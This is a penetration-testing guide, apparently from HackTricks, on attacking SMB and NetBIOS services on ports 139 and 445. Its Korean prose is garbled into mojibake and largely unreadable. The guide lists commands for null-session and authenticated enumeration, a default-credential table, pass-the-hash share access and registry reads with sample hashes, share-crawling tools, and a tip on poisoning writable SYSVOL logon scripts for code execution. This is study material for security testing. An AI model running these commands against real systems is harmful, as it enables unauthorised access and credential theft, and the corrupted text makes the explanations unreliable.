139,445 - Pentesting SMB
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Port 139
The Network Basic Input Output System** (NetBIOS)** ๋ ๋ก์ปฌ ์์ญ ๋คํธ์ํฌ(LAN) ๋ด์ ์ ํ๋ฆฌ์ผ์ด์ , PC ๋ฐ ๋ฐ์คํฌํ์ด ๋คํธ์ํฌ ํ๋์จ์ด์ ์ํธ์์ฉํ๊ณ ๋คํธ์ํฌ ์ ๋ฐ์ ๊ฑธ์น ๋ฐ์ดํฐ ์ ์ก์ ์ฉ์ดํ๊ฒ ํ๋ ์ํํธ์จ์ด ํ๋กํ ์ฝ์ ๋๋ค. NetBIOS ๋คํธ์ํฌ์์ ๋์ํ๋ ์ํํธ์จ์ด ์ ํ๋ฆฌ์ผ์ด์ ์ ์๋ณ๊ณผ ์์น ํ์ ์ NetBIOS ์ด๋ฆ์ ํตํด ์ด๋ฃจ์ด์ง๋ฉฐ, ์ด ์ด๋ฆ์ ์ต๋ 16์๊น์ง ๊ฐ๋ฅํ๊ณ ์ข ์ข ์ปดํจํฐ ์ด๋ฆ๊ณผ ๋ค๋ฆ ๋๋ค. ๋ ์ ํ๋ฆฌ์ผ์ด์ ๊ฐ์ NetBIOS ์ธ์ ์ ํ ์ ํ๋ฆฌ์ผ์ด์ (ํด๋ผ์ด์ธํธ ์ญํ )์ด ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์ (์๋ฒ ์ญํ )์ โํธ์ถโ ๋ช ๋ น์ ๋ด๋ ค TCP Port 139 ๋ฅผ ์ฌ์ฉํ ๋ ์์๋ฉ๋๋ค.
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
ํฌํธ 445
๊ธฐ์ ์ ์ผ๋ก, Port 139์ โNBT over IPโ๋ก ๋ถ๋ฆฌ๋ฉฐ, Port 445๋ โSMB over IPโ๋ก ์๋ณ๋ฉ๋๋ค. ์ฝ์ด SMB๋ โServer Message Blocksโ์ ์ฝ์์ด๋ฉฐ, ํ๋์๋ **Common Internet File System (CIFS)**๋ก๋ ์๋ ค์ ธ ์์ต๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ๊ณ์ธต ๋คํธ์ํฌ ํ๋กํ ์ฝ๋ก์, SMB/CIFS๋ ์ฃผ๋ก ํ์ผ, ํ๋ฆฐํฐ, ์ง๋ ฌ ํฌํธ์ ๋ํ ๊ณต์ ์ ๊ทผ์ ๊ฐ๋ฅํ๊ฒ ํ๊ณ ๋คํธ์ํฌ ๋ด ๋ ธ๋๋ค ๊ฐ์ ๋ค์ํ ํํ์ ํต์ ์ ์ด์งํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
์๋ฅผ ๋ค์ด Windows์ ๊ฒฝ์ฐ, SMB๋ TCP/IP ์์์ ์ง์ ๋์ํ ์ ์์ด NetBIOS over TCP/IP์ ํ์์ฑ์ ์ ๊ฑฐํ๋ฉฐ, ์ด๋ฅผ ์ํด port 445๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๋ฐ๋๋ก ๋ค๋ฅธ ์์คํ ์์๋ port 139์ ์ฌ์ฉ์ด ๊ด์ฐฐ๋๋ฉฐ, ์ด๋ SMB๊ฐ NetBIOS over TCP/IP์ ํจ๊ป ์คํ๋๊ณ ์์์ ๋ํ๋ ๋๋ค.
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
The Server Message Block (SMB) ํ๋กํ ์ฝ์ client-server ๋ชจ๋ธ๋ก ๋์ํ๋ฉฐ, ํ๋ฆฐํฐ๋ ๋ผ์ฐํฐ ๊ฐ์ ๋ค๋ฅธ ๋คํธ์ํฌ ์์๋ฟ๋ง ์๋๋ผ ํ์ผ๊ณผ ๋๋ ํฐ๋ฆฌ์ ๋ํ ์ ๊ทผ์ ์กฐ์ ํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. ์ฃผ๋ก Windows ์ด์์ฒด์ ๊ณ์ด์์ ์ฌ์ฉ๋๋ฉฐ, SMB๋ ํ์ ํธํ์ฑ์ ๋ณด์ฅํ์ฌ ์ต์ ๋ฒ์ ์ Microsoft ์ด์์ฒด์ ๋ฅผ ์คํํ๋ ์ฅ์น๊ฐ ๊ตฌ๋ฒ์ ์ ์คํํ๋ ์ฅ์น์ ์ํํ๊ฒ ์ํธ์์ฉํ ์ ์๊ฒ ํฉ๋๋ค. ๋ํ Samba ํ๋ก์ ํธ๋ ๋ฌด๋ฃ ์ํํธ์จ์ด ์๋ฃจ์ ์ ์ ๊ณตํ์ฌ Linux ๋ฐ Unix ์์คํ ์์ SMB๋ฅผ ๊ตฌํํ ์ ์๊ฒ ํ๋ฏ๋ก SMB๋ฅผ ํตํ ํฌ๋ก์คํ๋ซํผ ํต์ ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
Shares๋ **๋ก์ปฌ ํ์ผ ์์คํ
์ ์์ ๋ถ๋ถ(arbitrary parts of the local file system)**์ ๋ํ๋ด๋ฉฐ, SMB ์๋ฒ๊ฐ ์ด๋ฅผ ์ ๊ณตํ ์ ์์ด ํด๋ผ์ด์ธํธ์๊ฒ ๊ณ์ธต ๊ตฌ์กฐ๋ฅผ ์๋ฒ์ ์ค์ ๊ตฌ์กฐ์ ๋ถ๋ถ์ ์ผ๋ก **๋
๋ฆฝ์ (independent)**์ผ๋ก ํ์ํ ์ ์์ต๋๋ค. **Access Control Lists (ACLs)**๋ **์ ๊ทผ ๊ถํ(access rights)**์ ์ ์ํ๋ฉฐ, execute, read, full access ๊ฐ์ ์์ฑ์ ํฌํจํ ์ฌ์ฉ์ ๊ถํ์ ๋ํด **์ธ๋ฐํ ์ ์ด(fine-grained control)**๋ฅผ ํ์ฉํฉ๋๋ค. ์ด๋ฌํ ๊ถํ์ shares๋ฅผ ๊ธฐ์ค์ผ๋ก ๊ฐ๋ณ ์ฌ์ฉ์๋ ๊ทธ๋ฃน์ ํ ๋น๋ ์ ์์ผ๋ฉฐ, ์๋ฒ์ ์ค์ ๋ ๋ก์ปฌ ๊ถํ๊ณผ๋ ๊ตฌ๋ถ๋ฉ๋๋ค.
IPC$ Share
IPC$ share์ ๋ํ ์ ๊ทผ์ ์ต๋ช
์ null session์ ํตํด ์ป์ ์ ์์ผ๋ฉฐ, ์ด๋ฅผ ํตํด named pipes๋ก ๋
ธ์ถ๋ ์๋น์ค์ ์ํธ์์ฉํ ์ ์์ต๋๋ค. ์ด ๋ชฉ์ ์๋ ์ ํธ๋ฆฌํฐ enum4linux๊ฐ ์ ์ฉํฉ๋๋ค. ์ ์ ํ ์ฌ์ฉํ๋ฉด ๋ค์์ ํ๋ํ ์ ์์ต๋๋ค:
- ์ด์ ์ฒด์ ์ ๋ํ ์ ๋ณด
- ์์ ๋๋ฉ์ธ์ ๋ํ ์ธ๋ถ ์ ๋ณด
- ๋ก์ปฌ ์ฌ์ฉ์ ๋ฐ ๊ทธ๋ฃน ๋ชฉ๋ก
- ์ฌ์ฉ ๊ฐ๋ฅํ SMB shares์ ๋ํ ์ ๋ณด
- ์ ์ฉ๋๋ ์์คํ ๋ณด์ ์ ์ฑ
์ด ๊ธฐ๋ฅ์ ๋คํธ์ํฌ ๊ด๋ฆฌ์๋ฅผ ๋น๋กฏํ ๋ณด์ ์ ๋ฌธ๊ฐ๊ฐ ๋คํธ์ํฌ์์ SMB (Server Message Block) ์๋น์ค์ ๋ณด์ ํ์ธ๋ฅผ ํ๊ฐํ๋ ๋ฐ ๋งค์ฐ ์ค์ํฉ๋๋ค. enum4linux๋ ๋์ ์์คํ
์ SMB ํ๊ฒฝ์ ๋ํ ํฌ๊ด์ ์ธ ๋ทฐ๋ฅผ ์ ๊ณตํ์ฌ ์ ์ฌ์ ์ทจ์ฝ์ ์ ์๋ณํ๊ณ SMB ์๋น์ค๊ฐ ์ ์ ํ ๋ณดํธ๋๊ณ ์๋์ง ํ์ธํ๋ ๋ฐ ํ์์ ์
๋๋ค.
enum4linux -a target_ip
์ ๋ช
๋ น์ enum4linux๊ฐ target_ip๋ก ์ง์ ๋ ๋์์ ๋ํด ์ ์ฒด enumeration์ ์ํํ๋ ์์์
๋๋ค.
NTLM์ด๋
NTLM์ด ๋ฌด์์ธ์ง ๋ชจ๋ฅด๊ฑฐ๋ ์ด ํ๋กํ ์ฝ์ ๋์ ๋ฐฉ์๊ณผ ์ ์ฉ ๋ฐฉ๋ฒ์ ์๊ณ ์ถ๋ค๋ฉด, NTLM์ ๊ดํ ๋ค์ ํ์ด์ง๊ฐ ๋งค์ฐ ํฅ๋ฏธ๋ก์ธ ๊ฒ์ ๋๋ค. ์ด ํ์ด์ง์๋ ์ด ํ๋กํ ์ฝ์ด ์ด๋ป๊ฒ ๋์ํ๋ฉฐ ์ด๋ฅผ ์ด๋ป๊ฒ ํ์ฉํ ์ ์๋์ง๊ฐ ์ค๋ช ๋์ด ์์ต๋๋ค:
์๋ฒ Enumeration
Scan ๋คํธ์ํฌ์์ ํธ์คํธ ๊ฒ์:
nbtscan -r 192.168.0.1/24
SMB ์๋ฒ ๋ฒ์
SMB ๋ฒ์ ์ ๊ฐ๋ฅํ exploits๋ฅผ ์ฐพ์ผ๋ ค๋ฉด ์ด๋ค ๋ฒ์ ์ด ์ฌ์ฉ ์ค์ธ์ง ์๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ๋ค๋ฅธ ๋๊ตฌ๋ค์์ ์ด ์ ๋ณด๊ฐ ํ์๋์ง ์๋๋ค๋ฉด, ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
- MSF auxiliary module
**auxiliary/scanner/smb/smb_version** - ๋๋ ์ด ์คํฌ๋ฆฝํธ:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
๊ฒ์ exploit
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
๊ฐ๋ฅํ ์๊ฒฉ ์ฆ๋ช
| ์ฌ์ฉ์ ์ด๋ฆ(๋ค) | ์ผ๋ฐ ๋น๋ฐ๋ฒํธ |
|---|---|
| (blank) | (blank) |
| guest | (blank) |
| Administrator, admin | (blank), password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
Brute Force
SMB ํ๊ฒฝ ์ ๋ณด
์ ๋ณด ์์ง
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
์ฌ์ฉ์, ๊ทธ๋ฃน ๋ฐ ๋ก๊ทธ์ธํ ์ฌ์ฉ์ ์ด๊ฑฐ
์ด ์ ๋ณด๋ ์ด๋ฏธ enum4linux ๋ฐ enum4linux-ng์์ ์์ง๋์์ด์ผ ํฉ๋๋ค.
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
๋ก์ปฌ ์ฌ์ฉ์ ์ด๊ฑฐ
lookupsid.py -no-pass hostname.local
Oneliner
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Metasploit - ๋ก์ปฌ ์ฌ์ฉ์ ์ด๊ฑฐ
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
LSARPC ๋ฐ SAMR rpcclient ์ด๊ฑฐ
linux์์ GUI ์ฐ๊ฒฐ
ํฐ๋ฏธ๋์์:
xdg-open smb://cascade.htb/
ํ์ผ ๋ธ๋ผ์ฐ์ ์ฐฝ์์ (nautilus, thunar ๋ฑ)
smb://friendzone.htb/general/
๊ณต์ ํด๋ ์ด๊ฑฐ
๊ณต์ ํด๋ ๋์ด
ํญ์ ์ ๊ทผ ๊ฐ๋ฅํ ํญ๋ชฉ์ด ์๋์ง ํ์ธํ์ธ์. credentials๊ฐ ์๋ค๋ฉด null credentials/guest user๋ฅผ ์ฌ์ฉํด ๋ณด์ธ์.
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
๊ณต์ ํด๋ ์ฐ๊ฒฐ/๋ชฉ๋ก
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
์๋์ผ๋ก Windows ๊ณต์ ๋ฅผ ์ด๊ฑฐํ๊ณ ์ฐ๊ฒฐํ๊ธฐ
ํธ์คํธ ๋จธ์ ์ ๊ณต์ ํ์๊ฐ ์ ํ๋์ด ์์ด ๋ชฉ๋ก์ ํ์ธํ ๋ ์ฐ๊ฒฐํ ์ ์๋ ๊ณต์ ๊ฐ ์๋ ๊ฒ์ฒ๋ผ ๋ณด์ผ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ์๋์ผ๋ก ๊ณต์ ์ ์ฐ๊ฒฐํด ๋ณด๋ ์๋๊ฐ ๊ฐ์น๊ฐ ์์ ์ ์์ต๋๋ค.
๊ณต์ ๋ฅผ ์๋์ผ๋ก ์ด๊ฑฐํ๋ ค๋ฉด ์ ํจํ ์ธ์ (์: null session ๋๋ valid credentials)์ ์ฌ์ฉํ ๋ NT_STATUS_ACCESS_DENIED ๋ฐ NT_STATUS_BAD_NETWORK_NAME ๊ฐ์ ์๋ต์ ํ์ธํ๋ ๊ฒ์ด ์ข์ต๋๋ค. ์ด๋ฌํ ์๋ต์ ๊ณต์ ๊ฐ ์กด์ฌํ์ง๋ง ์ ๊ทผ ๊ถํ์ด ์์์ ๋ํ๋ด๊ฑฐ๋, ๊ณต์ ์์ฒด๊ฐ ์กด์ฌํ์ง ์์์ ์๋ ค์ค ์ ์์ต๋๋ค.
Common share names for windows targets are
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(์ผ๋ฐ์ ์ธ ๊ณต์ ์ด๋ฆ โ _Network Security Assessment 3rd edition_์์ ๋ฐ์ท)
You can try to connect to them by using the following command
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
๋๋ ์ด ์คํฌ๋ฆฝํธ (null session์ ์ฌ์ฉํ์ฌ)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
์์ ๋ค
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Windows์์ ๊ณต์ ์ด๊ฑฐ / ํ์ฌ ๋๊ตฌ ์์ด
PowerShell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
CMD ์ฝ์
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
MMC ์ค๋ ์ธ (๊ทธ๋ํฝ ์ธํฐํ์ด์ค)
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
explorer.exe(๊ทธ๋ํฝ ์ธํฐํ์ด์ค)์์ \\<ip>\ ๋ฅผ ์
๋ ฅํ๋ฉด ์ฌ์ฉ ๊ฐ๋ฅํ ์จ๊น์ด ์๋ ๊ณต์ ๋ฅผ ๋ณผ ์ ์์ต๋๋ค.
๊ณต์ ํด๋ ๋ง์ดํธํ๊ธฐ
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
ํ์ผ ๋ค์ด๋ก๋
์ด์ ์น์ ์ ์ฝ์ด credentials/Pass-the-Hash๋ฅผ ์ฌ์ฉํด ์ฐ๊ฒฐํ๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ์ธ์.
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
๋ช ๋ น์ด:
- mask: ๋๋ ํฐ๋ฆฌ ๋ด์ ํ์ผ์ ํํฐ๋งํ๋ ๋ฐ ์ฌ์ฉ๋๋ ๋ง์คํฌ๋ฅผ ์ง์ ํฉ๋๋ค(์: โโ๋ ๋ชจ๋ ํ์ผ)
- recurse: ์ฌ๊ท ๊ธฐ๋ฅ์ ์ผ๊ฑฐ๋ ๋๋๋ค(๊ธฐ๋ณธ๊ฐ: off)
- prompt: ํ์ผ ์ด๋ฆ์ ๋ํ ํ๋กฌํํธ๋ฅผ ๋นํ์ฑํํฉ๋๋ค(๊ธฐ๋ณธ๊ฐ: on)
- mget: mask์ ์ผ์นํ๋ ๋ชจ๋ ํ์ผ์ ํธ์คํธ์์ ํด๋ผ์ด์ธํธ ๋จธ์ ์ผ๋ก ๋ณต์ฌํฉ๋๋ค
(smbclient์ manpage์์ ๊ฐ์ ธ์จ ์ ๋ณด)
๋๋ฉ์ธ ๊ณต์ ํด๋ ๊ฒ์
Snaffler.exe -s -d domain.local -o snaffler.log -v data
- CrackMapExec spider.
-M spider_plus [--share <share_name>]--pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
ํนํ ๊ณต์ ์์ ํฅ๋ฏธ๋ก์ด ํ์ผ์ **Registry.xml**๋ก, ์ด ํ์ผ์ Group Policy๋ฅผ ํตํด autologon์ผ๋ก ๊ตฌ์ฑ๋ ์ฌ์ฉ์๋ค์ ๋น๋ฐ๋ฒํธ๋ฅผ ํฌํจํ ์ ์์ต๋๋ค. ๋๋ web.config ํ์ผ์ ์๊ฒฉ ์ฆ๋ช
์ ํฌํจํ๊ณ ์์ต๋๋ค.
Tip
SYSVOL share๋ ๋๋ฉ์ธ ๋ด ์ธ์ฆ๋ ๋ชจ๋ ์ฌ์ฉ์์๊ฒ ์ฝ๊ธฐ ๊ฐ๋ฅํฉ๋๋ค. ๊ทธ ์์์๋ ๋ค์ํ batch, VBScript, PowerShell ์คํฌ๋ฆฝํธ๋ค์ ์ฐพ์ ์ ์์ต๋๋ค. ํด๋น ์คํฌ๋ฆฝํธ๋ค์ ๋ฐ๋์ ํ์ธํด์ผ ํ๋ฉฐ ๋น๋ฐ๋ฒํธ์ ๊ฐ์ ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์ ์ ์์ต๋๋ค. ๋ํ ์๋ํ๋ ๊ณต์ ๋ชฉ๋ก์ ๊ทธ๋๋ก ์ ๋ขฐํ์ง ๋ง์ธ์: ๊ณต์ ๊ฐ ์ฝ๊ธฐ ์ ์ฉ์ผ๋ก ๋ณด์ด๋๋ผ๋ ๋ด๋ถ์ NTFS ACLs๊ฐ ์ฐ๊ธฐ๋ฅผ ํ์ฉํ ์ ์์ต๋๋ค. ํญ์ smbclient๋ก ์์ ํ์ผ์
\\<dc>\\SYSVOL\\<domain>\\scripts\\์ ์ ๋ก๋ํด ํ ์คํธํ์ธ์. ์ฐ๊ธฐ ๊ฐ๋ฅํ๋ค๋ฉด, poison logon scripts for RCE at user logon๋ฅผ ์ํํ ์ ์์ต๋๋ค.
ShareHound โ OpenGraph collector for SMB shares (BloodHound)
ShareHound์ ๋๋ฉ์ธ SMB ๊ณต์ ๋ฅผ ๋ฐ๊ฒฌํ๊ณ ์ด๋ฅผ ์ํํ์ฌ ACL์ ์ถ์ถํ ๋ค, BloodHound CE/Enterprise์ฉ OpenGraph JSON ํ์ผ์ ์์ฑํฉ๋๋ค.
- Baseline collection:
- LDAP: ์ปดํจํฐ ๊ฐ์ฒด๋ฅผ ์ด๊ฑฐํ๊ณ
dNSHostName์ ์ฝ์ - DNS: ๊ฐ ํธ์คํธ๋ฅผ resolve(ํด๊ฒฐ)
- SMB: ์ ๊ทผ ๊ฐ๋ฅํ ํธ์คํธ์ ๊ณต์ ๋ชฉ๋ก์ ๋์ด
- ๊ณต์ ๋ฅผ ํฌ๋กค๋ง(Crawl) (BFS/DFS), ํ์ผ/ํด๋๋ฅผ ์ด๊ฑฐํ๊ณ ๊ถํ์ ์บก์ฒ
ShareQL-driven traversal
- ShareQL๋ ํธ์คํธ/๊ณต์ /๊ฒฝ๋ก๋ณ๋ก ํ์ ํ์ฉ/๊ฑฐ๋ถ๋ฅผ ์ง์ ํ๊ณ ๊ท์น๋ณ ์ต๋ ๊น์ด๋ฅผ ์ค์ ํ ์ ์๋ first-match-wins DSL์ ๋๋ค. ํฅ๋ฏธ๋ก์ด ๊ณต์ ์ ์ง์คํ๊ณ ์ฌ๊ท ๊น์ด๋ฅผ ์ ํํ์ธ์.
Example ShareQL rules
# Only crawl shares with name containing "backup", up to depth 2
allow host * share * path * depth 0
allow host * share *backup* path * depth 2
deny host * share * path *
์ฌ์ฉ๋ฒ
sharehound -ai "10.0.100.201" -au "user" -ap "Test123!" -ns "10.0.100.201" \
-rf "rules/skip_common_shares.shareql" -rf "rules/max_depth_2.shareql"
-ad/-au/-ap๋ฅผ ํตํด AD ์๊ฒฉ ์ฆ๋ช ์ ์ ๊ณต(๋๋-ad๋ฅผ-au/-ap์ ํจ๊ป ์ฌ์ฉ). ์ธ๋ผ์ธ ๊ท์น์ด๋ ํ์ผ์๋-r/-rf๋ฅผ ์ฌ์ฉํ์ธ์.- ์ถ๋ ฅ: JSON OpenGraph; BloodHound์ ์ํฌํธํ์ฌ hosts/shares/files ๋ฐ effective rights๋ฅผ ์ฟผ๋ฆฌํ์ธ์.
- ํ: ํํฐ๊ฐ ๋งค์ฐ ์ ํ์ ์ด์ง ์๋ ํ ์ต๋ ๊น์ด(max depth)๋ฅผ 1โ2๋ก ์ ํํ์ธ์.
BloodHound ๊ณต๊ฒฉ ํ๋ฉด ์ฟผ๋ฆฌ
- shares์ ๋ํด write-like access๋ฅผ ๊ฐ์ง Principals
MATCH x=(p)-[r:CanWriteDacl|CanWriteOwner|CanDsWriteProperty|CanDsWriteExtendedProperties]->(s:NetworkShareSMB)
RETURN x
- ๊ณต์ ์ ๋ํด FULL_CONTROL ๊ถํ์ด ์๋ Principals
Cypher: ๊ณต์ ์ ๋ํด FULL_CONTROL ๊ถํ์ด ์๋ Principals
```cypher MATCH (p:Principal)-[r]->(s:NetworkShareSMB) WHERE (p)-[:CanDelete]->(s) AND (p)-[:CanDsControlAccess]->(s) AND (p)-[:CanDsCreateChild]->(s) AND (p)-[:CanDsDeleteChild]->(s) AND (p)-[:CanDsDeleteTree]->(s) AND (p)-[:CanDsListContents]->(s) AND (p)-[:CanDsListObject]->(s) AND (p)-[:CanDsReadProperty]->(s) AND (p)-[:CanDsWriteExtendedProperties]->(s) AND (p)-[:CanDsWriteProperty]->(s) AND (p)-[:CanReadControl]->(s) AND (p)-[:CanWriteDacl]->(s) AND (p)-[:CanWriteOwner]->(s) RETURN p,r,s ```- ํ์ฅ์๋ณ๋ก ๋ฏผ๊ฐํ ํ์ผ์ ์ฐพ์๋ผ (์: VMDKs)
MATCH p=(h:NetworkShareHost)-[:HasNetworkShare]->(s:NetworkShareSMB)-[:Contains*0..]->(f:File)
WHERE toLower(f.extension) = toLower(".vmdk")
RETURN p
๋ ์ง์คํธ๋ฆฌ ์ฝ๊ธฐ
๋ฐ๊ฒฌํ ์๊ฒฉ ์ฆ๋ช
์ ์ฌ์ฉํ์ฌ ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์ฝ์ ์ ์์ต๋๋ค. Impacket **reg.py**๋ฅผ ์ฌ์ฉํ์ฌ ์๋ํด๋ณผ ์ ์์ต๋๋ค:
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
ํฌ์คํธ ์ต์คํ๋ก์ดํ ์ด์
Samba ์๋ฒ์ ๊ธฐ๋ณธ ๊ตฌ์ฑ์ ๋ณดํต /etc/samba/smb.conf์ ์์นํ๋ฉฐ ๋ช ๊ฐ์ง ์ํํ ๊ตฌ์ฑ์ด ์์ ์ ์์ต๋๋ค:
| ์ค์ | ์ค๋ช |
|---|---|
browseable = yes | ํ์ฌ ๊ณต์ ์์ ์ฌ์ฉ ๊ฐ๋ฅํ ๊ณต์ ๋ฅผ ๋์ดํ๋๋ก ํ์ฉํฉ๋๊น? |
read only = no | ํ์ผ์ ์์ฑ ๋ฐ ์์ ์ ๊ธ์งํฉ๋๊น? |
writable = yes | ์ฌ์ฉ์๊ฐ ํ์ผ์ ์์ฑํ๊ณ ์์ ํ๋๋ก ํ์ฉํฉ๋๊น? |
guest ok = yes | ๋น๋ฐ๋ฒํธ ์์ด ์๋น์ค์ ์ฐ๊ฒฐํ๋ ๊ฒ์ ํ์ฉํฉ๋๊น? |
